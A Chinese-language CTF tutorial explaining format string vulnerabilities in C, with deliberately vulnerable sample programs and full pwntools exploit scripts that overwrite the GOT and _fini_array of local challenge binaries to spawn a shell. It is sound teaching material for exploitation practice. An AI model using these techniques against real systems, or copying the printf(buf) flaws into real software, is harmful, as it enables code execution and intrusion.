格式化字符串漏洞

格式化字符串漏洞,是由编程时使用 printf 函数,在将数据格式化输出时产生的漏洞

其中包括 printffprintfsprintfsnprintfvprintfvfprintfvsprintfvsnprintf 等函数,它们可以将数据格式化后输出

一旦程序编写不规范,比如正确的写法是:printf("%s", ctfer),偷懒写成了:printf(ctfer),此会存在格式化字符串漏洞

这种漏洞在目前的真实环境下出现的比较少,因为现在的编译器在编译的过程中可以识别到该漏洞


产生原理

printf() 是 C 语言中少有的支持可变参数的库函数,被调用者无法知道函数调用之前有多少个参数被压入栈中,因此 printf() 要求传入一个 format 参数以指定参数的数量和类型,然后 printf() 会严格的按照 format 参数所规定的格式逐个从栈中取出并输出参数

  1. 示例一
printf("%s %s %s %s %s\n", str1, str2, str3, str4, str5)

printf() 中少于 6 个参数,则直接打印寄存器中的值

printf() 按照参数的顺序,从左到右依次对应寄存器:RDI,RSI,RDX,RCX,R8,R9

  1. 示例二
printf("%s %s %s %s %s %s %s %s %s %s %s\n", str1, str2, str3, str4, str5, str6, str7, str8, str9, str10, str11)

printf() 中多于 6 个参数,从第 7 个参数开始打印栈中的数据

也就是说,printf() 打印数据的顺序为:RDI,RSI,RDX,RCX,R8,R9,栈空间

  1. 示例三

如果给出的 format 参数的个数 > 待输出的参数数量

int main()
{
	printf("%s %d %d %d %d %x %x", "num", 1, 2, 3, 4);
	return 0;
}

输出:

num 1 2 3 4 ed5ffcc0 3b5b143f

虽然给了 7 个格式化输出的参数,但是实际压入栈中的参数只有 5 个,所以 printf 会输出两个本不应该输出的地址内容,也就泄露出了栈中的数据


printf 的栈结构

如果格式化输出参数是 %6$n,就是把 %6$n 之前输出的长度赋值给 printf() 的第 6 个参数,但是 printf 函数不知道自己的栈有多大,所以只需要把这个偏移数值定位到能够修改的内存空间

以下是 printf() 的栈结构示例:

CTF - Pwn_格式化字符串漏洞2.png


格式化输出说明符

CTF - Pwn_格式化字符串漏洞1.png

  1. %n 可以将一个 int 型的值(4 字节)写入指定的地址中,可以实现栈空间的随意改写

  2. %n 以外,还有 %hn%hhn%lln,分别将 2 字节、1 字节、8 字节写入指定的地址

助记方法:

h 就是 half(一半)的意思%n 是 4 字节,因此 %hn 是 2 字节,%hhn 是 1 字节


关于 $ 的用法

$ 通常配合 % 一起使用,用来指定参数,用法为:

%参数顺序$格式化说明符

示例:

#include <stdio.h>
int main(int argc,char* argv[])
{
	char str1[]="hello ";
	char str2[]="world ";
	char str3[]="I ";
	char str4[]="am ";
	char str5[]="Tom ";

	printf("%2$s %s %s %s %s %s\n", str1, str2, str3, str4, str5 );
	return 0;
}

输出:

world hello world I am Tom   // %2$s 相当于按照 %s 的格式,输出第 2 个数据

通过 %n$p,合理控制 n 的值就能准确获取栈中的某个数据,这也是格式化字符串漏洞的关键

这种方法的好处在于,无需输入繁琐的参数就可以快速、准确地获取栈中的某个数据

例如,要想泄露出第十个数据的地址,printf() 需要写 10 个 %p,但使用这种方式只需要一个 %10$p 就可以解决

在 64 位程序中,使用 %6$p 即可输出 RSP 所指向的地址(即栈顶元素)中存放的指针

在 32 位程序中,%0$p 即代表 RSP 所指向的地址(即栈顶元素)中存放的指针


关于 %n 的用法

%n 是一个特殊的格式说明符,它不打印某些内容,而是用于获取到目前为止写入到输出中的字符数量,printf() 将出现在 %n 之前的字符数量存储到对应的参数所指向的变量中

示例:

#include <stdio.h>  
  
int main()  
{  
    int c;  
    printf("Welcome to uf4te %nHello ", &c);  
    printf("%d", c);  
    return 0;  
}

输出:

Welcome to uf4te Hello 17   // 这里的 %n 并不输出,而是将 %n 之前的字符数量 17 赋值给变量 c

也就是说,*%n 参数把他前面输出的字符数赋值给了变量 c*

因此,只要更改 c 所对应栈中地址的值,就可以把想要的数值赋给对应地址


利用 $ 和 %n 读取和修改数据

  1. 读取栈上的数据
%参数顺序$格式化说明符

// 例如:%7$lx
// 表示:以 lx 的格式读取第 7 个参数的值
// 这里的格式化说明符不包括 %n、%hn、%hhn、%lln 等

在 64 位程序中,使用 %6$p 即可输出 RSP 所指向的地址(即栈顶元素)中存放的指针

在 32 位程序中,%0$p 即代表 RSP 所指向的地址(即栈顶元素)中存放的指针

  1. 修改栈上的数据
%数值c%参数顺序$格式化说明符

// 例如:%100c%12$hhn
// 表示:向第 12 个参数写入 100 这个数值(十进制)
// 这里的格式化说明符只能用 %n、%hn、%hhn、%lln 等

关于 * 的用法

在格式化字符串中,使用 * 也可以用来修改栈上的数据,但与 $%n 不同在于:

(1)$%n 具体要修改的数值是我们自己通过 %数值c 定义的

(2)* 要修改的数值是以复制的形式实现的,因此不能由我们自己来定义

* 的使用格式:

%*参数顺序$c%参数顺序$格式化说明符

例题:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int dofunc(){
    char buf1[8] = {};
	char buf2[0x10];
	char buf3[8] = {};
	long long int *p = (long long int) buf1;
	int fd = open("/dev/random", 0);
	int d = 0;	
	read(fd, buf1, 2);
	read(fd, buf3, 2);
	close(fd);
    puts("input:");
    read(0, buf2, 0x10);
	printf(buf2);
	if(!strncmp(buf1, buf3, 2))
	{
		system("/bin/sh");
	}
    return 0;
}

int main(){
	init_func();
    dofunc();
    return 0;
}

//gcc fmt_str_level_star.c  -o fmt_str_level_star_x64
//gcc -m32 fmt_str_level_star.c   -o fmt_str_level_star_x86

在该例题中,buf1buf3 是随机数,当这两个值相等时即可获得 shell

buf2 是由我们输入的,且 printf(buf2) 存在格式化字符串漏洞,因此思路就是利用格式化字符串漏洞将 buf1buf3 修改为相等

以 64 位程序为例,根据调试可知:

CTF - Pwn_格式化字符串漏洞5.png

我们输入的 buf2 在栈中位于 buf1buf3 下方

在 64 位程序中 %6$p 即是 RSP 所在位置,而地址 0x7fffffffda98 处指向 buf1 = 0x72b 所在的地址 0x7fffffffdaa0,位于第 7 个位置

buf3 所存放的位置则位于第 9 个位置,因此只需要通过格式化字符串漏洞将 buf3 的值赋给地址 0x7fffffffda98 处指向的位置

由于 buf1buf3 都是 2 字节,于是使用:%*9$c%7$hn

即可发现执行 printf(%*9$c%7$hn) 后,buf1buf3 相等

CTF - Pwn_格式化字符串漏洞6.png

CTF - Pwn_格式化字符串漏洞7.png


漏洞的利用

漏洞利用流程

在 pwn 题中遇到格式化字符串漏洞时,一般会分两大步实现漏洞利用:

  1. 构造一个 payload,寻找输入字符串到栈顶指针的偏移

  2. 利用找到的偏移,在偏移处填入目的地址可以实现目的地址的内容泄露以及内容改写


泄露任意地址内容

32 位程序的代码示例:

puts("please tell me your name:");
read(0, &v5, 0xAu);
puts("leave your message please:");
fgets((char *)&v8, 100, stdin);
printf("hello %s", &v5);
puts("your message is:");
printf((const char *)&v8);
if ( pwnme == 8 )
{
	puts("you pwned me, here is your flag:\n");
	system("cat flag");
}
else
{
	puts("Thank you!");
}

看到第 7 行,printf 输出了在前面输入的 v8 变量,但是并没有给出任何格式化参数

我们可以通过构造 v8 的值来让 printf 误以为程序给出了格式化参数,从而按照我们的意思输出我们所需的值

程序输入输出示例:

# please tell me your name:
aaaa
# leave your message please:
AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
# hello aaaa
# your message is:
AAAA 0xffffd13e 0xf7fae580 0xffffd19c 0xf7ffdae0 0x1 0xf7fcb410 0x61610001 0xa6161 (nil) 0x41414141 0x25207025 0x70252070 0x20702520 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025
# Thank you!

可以看到我们输入的 AAAA 对应的 0x41414141 在第 10 个位置(%p 是将 AAAA 以十六进制地址的形式打印出来)

因为从 AAAA0x41414141 之间有 9 个输出值,所以 v8 在相对第 10 个参数位置

显然,程序泄露出了 printf 函数的栈帧中输出字符串后 19 个内存单元的值,理论上来说,我们可以使用这个漏洞任意读取栈中的值

其实 printf 函数根本没有这么多个参数,只不过他自己并不知道


构造 exp 的实例

例题来自攻防世界:【攻防世界】CGfsb

该程序为 32 位程序,main 函数:

CTF - Pwn_格式化字符串漏洞3.png

pwnme 存储在 bss 段上:

CTF - Pwn_格式化字符串漏洞4.png

编写 exp,利用格式化字符串漏洞修改 bss 段上 pwnme 的值:

from pwn import *
io = process("./CGfsb")
pwnme_addr = 0x0804A068   # pwnme 地址在伪代码中双击查看
payload = p32(pwnme_addr) + 'aaaa' + '%10\$n'   # pwnme 的地址需要经过 32 位编码转换,是 4 字节,而 pwnme 的值需要等于 8,所以需要在 %10\$n 之前凑够 8 个字节,这里用 ‘aaaa’ 再凑 4 个字节
# 由于是 32 位程序,因此根据泄漏的地址,pwnme 位于第 10 个地址的位置
io.recvuntil("please tell me your name:\n")
io.sendline('aaaa')
io.recvuntil("leave your message please:\n")
io.sendline(payload)
io.interactive()

其他例题见:《【攻防世界】string》、《【你想有多PWN】fmt_test2》、《【HDCTF 2023】KEEP ON》 等


格式化字符串利用工具

注意:如果程序开启 PIE,需要先泄露出相关函数的真实地址

(1)如果是泄露 puts()printf() 之类的函数地址,可以先利用格式化字符串漏洞泄露出栈上的返回地址,例如返回地址为:main + 30,将该地址减去 30 获得 main() 的真实地址,然后利用 ELF 文件中 main()puts() 的偏移来计算 puts()printf() 之类的真实 got 表地址

(2)如果是获取 system() 地址或 b'/bin/sh' 的地址,可以利用 libcsearch 来寻找


互联网脚本

利用格式化字符串漏洞改写 printf() 的 GOT 表地址为 system()

def fmt(prev, word, index):
    fmtstr = ""
    if prev < word:
        result = word - prev
        fmtstr += "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr.encode('utf-8')


def fmt_str(offset, size, addr, target):
    # offset:偏移位置; size:4?8; addr:写入地址; target:写入内容
    payload = b""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

32 位程序调用示例:

payload_write_printf_got = fmt_str(7, 4, printf_got_addr, system_plt)

该脚本在部分情况下可行(32 位程序),但不完善,不太建议使用

该脚本发送的数据会先将函数地址放在前面,将 %数值c%参数顺序$格式化说明符 放在后面,这种方式在 64 位程序中通常会出问题

假设:在 64 位程序中,某个函数的 GOT 表地址为 0x112233445566(总共 8 字节,但通常只使用 6 字节,最高两位为 0x00

当我们使用 payload = p64(0x112233445566) + b'%6$p' 进行函数的真实地址的泄露时,发送地址时的顺序为:0x66、0x55、0x44 ...... 0x11、0x00、0x00(小端序)

当格式化字符串遇到 b'\x00' 时会被截断,后面的 b'%6$p' 无法传入,导致我们构造失败


fmtstr_payload()

官方文档:pwnlib.fmtstr — Format string bug exploitation tools — pwntools 4.12.0 documentation

fmtstr_payload() 是 pwntools 里面的一个工具,和前面的互联网脚本功能类似,但是 fmtstr_payload() 更加的完善,可以简化对格式化字符串漏洞的利用过程,强烈推荐使用这个

一般常用的调用方法: (32 位和 64 位程序均可使用)

# 格式:fmtstr_payload(偏移,{源地址:目的地址})
payload = fmtstr_payload(offset, {printf_got_addr: system_plt})

也可以一次性同时修改多个地址

# 格式:fmtstr_payload(偏移,{源地址1:目的地址1, 源地址2: 目的地址2})
payload = fmtstr_payload(offset, {_fini_array_addr: main_addr, printf_got_addr: system_plt})

完整的调用方法:

fmtstr_payload(offset, writes, numbwritten = 0, write_size = 'byte')
  1. 第一个参数 offset 表示格式化字符串的偏移
  2. 第二个参数 writes 表示需要利用 %n 写入的数据,采用字典形式,如果需要改写 printf() 的 GOT 表地址为 system_plt,就写成 {printf_got_addr: system_plt}
  3. 第三个参数 numbwritten 表示已经输出的字符个数,默认值为 0
  4. 第四个参数 write_size 表示写入的方式:字节(byte)、双字节(short)、四字节(int),对应 hhn、hn、n,默认值为 byte,即按照 hhn 写入

最终 fmtstr_payload 函数返回的就是需要发送的 payload


杂项

只能执行一次的格式化字符串

大多数格式化字符串的题目会使用到 while() 之类的循环,以此来达到反复泄露并利用的目的

但也有部分情况下没有循环,只能利用一次格式化字符串漏洞,这时候常规方法就行不通了

不过,这种利用方法需要的条件比较苛刻,例如:关闭 PIE

一个 64 位的例题:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int sys(char *cmd){
    system(cmd);
}

int init_func(){
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    return 0;
}

int dofunc(){
    char buf[0x100];
    puts("input:");
    read(0, buf, 0x100);
    printf(buf);      
    return 0;
}

int main(){
	init_func();
    dofunc();
    return 0;
}
//gcc fmt_str_once_sys.c -no-pie -z norelro -o fmt_str_once_sys_x64_nopie
//gcc -m32 fmt_str_once_sys.c  -no-pie -z norelro -o fmt_str_once_x86

CTF - Pwn_格式化字符串漏洞8.png

这里不存在 while() 之类的循环,只能利用一次格式化字符串漏洞

但是这样会发现我们什么也做不了,因为无论是通过将 printf() 的 GOT 表地址改为 system_plt,还是直接修改栈的返回地址为 onegadget,都至少需要两次漏洞的利用

所以这里需要想办法让 main() 能够执行两次

Linux 下程序执行流程

在 Linux 中,程序的运行流程如下图所示:

CTF - Pwn_格式化字符串漏洞9.png

整个程序的大致执行流程按顺序为:

  1. _start
  2. __libc_start_main
  3. init
  4. .init_array[0]
  5. .init_array[1]
  6. ......
  7. .init_array[n]
  8. main
  9. fini
  10. .fini_array[n]
  11. .fini_array[n-1]
  12. ......
  13. .fini_array[0]

在 IDA 中可以看到 _init_array_fini_array 这两个数组:

CTF - Pwn_格式化字符串漏洞10.png

使用 Ctrl + s 可以看到各个段所在地址:

CTF - Pwn_格式化字符串漏洞11.png

因此,我们可以通过修改 _fini_array 数组中存放的函数地址为 main() 地址,就可以实现在原来真正执行 main() 之后,还能再执行一次 _fini_array 数组中的 main()

但是注意:这样的操作并不能实现无限循环执行 main()

在原来真正的 main() 结束后退出程序时,会调用 _dl_fini 这个函数,_dl_fini 会执行 fini_array 内的函数

main() 返回到 _dl_fini 函数后,会将 _fini_array 的地址 -4,因为 _fini_array 是一个数组,所以这个 -4 的操作相当于将数组的下标 -1,相当于遍历 _fini_array 这个数组并执行其中的函数,每执行一个 _fini_array 内的函数都会返回到 _dl_fini 函数继续向下执行,而 _fini_array 内的函数是有限的,因此迟早会超出 _fini_array 的范围,当然也就不可能实现无限循环的效果了

最终,_fini_array 边界处的函数是 frame_dummy_dl_fini 会检查此时要执行的函数是否和 _fini_array 边界处的函数相同,如果相同的话就不再执行

实现对 _fini_array 的修改

由于没有开启 PIE,因此暂时无需泄漏地址,IDA 中的偏移地址就是真实地址

CTF - Pwn_格式化字符串漏洞12.png

得到 _fini_array 的地址为 0x4031D0

首先利用 fmtstr_payload()_fini_array_addr 改为 main_addr

_fini_array_addr = 0x4031D0
main_addr = elf.symbols["main"]
payload = fmtstr_payload(6, {_fini_array_addr: main_addr})
debug()
io.sendline(payload)

通过调试可以看到,原来真正的 mian() 执行结束后,又输出了一次 "input:\n",证明我们已经成功让 main() 执行了第二次

CTF - Pwn_格式化字符串漏洞13.png

但是由于我们只有两次机会,其中一次机会还得利用 fmtstr_payload()_fini_array_addr 改为 main_addr

因为我们还需要利用 fmtstr_payload()printf_got_addr 修改为 system_plt,最后还得再发送 b'/bin/sh' 来触发,所以这样次数还是不够用

因此我们可以利用 fmtstr_payload() 能一次性修改多个地址的特性,在第一次格式化字符串利用时同时将 _fini_array_addr 改为 main_addr、将 printf_got_addr 修改为 system_plt

payload = fmtstr_payload(6, {_fini_array_addr: main_addr, printf_got_addr: system_plt})

当再次执行 main() 的时候,发送 b'/bin/sh' 来触发即可

脚本

from pwn import *

# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
elf = ELF("./fmt_str_once_sys_x64_nopie")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

if content == 1:
	# 将本地的 Linux 程序启动为进程 io
    io = process("./fmt_str_once_sys_x64_nopie")


# 附加 gdb 调试
def debug(cmd=""):
    gdb.attach(io, cmd)
    pause()


_fini_array_addr = 0x4031D0
main_addr = elf.symbols["main"]
print("main_addr -->", hex(main_addr))
system_addr = elf.symbols["sys"]   # system_addr = 0x4011D6
printf_got_addr = elf.got["printf"]
print("printf_got_addr -->", hex(printf_got_addr))
payload = fmtstr_payload(6, {_fini_array_addr: main_addr, printf_got_addr: system_addr})
# debug()
io.sendline(payload)
io.sendline(b'/bin/sh\x00')

# 与远程交互
io.interactive()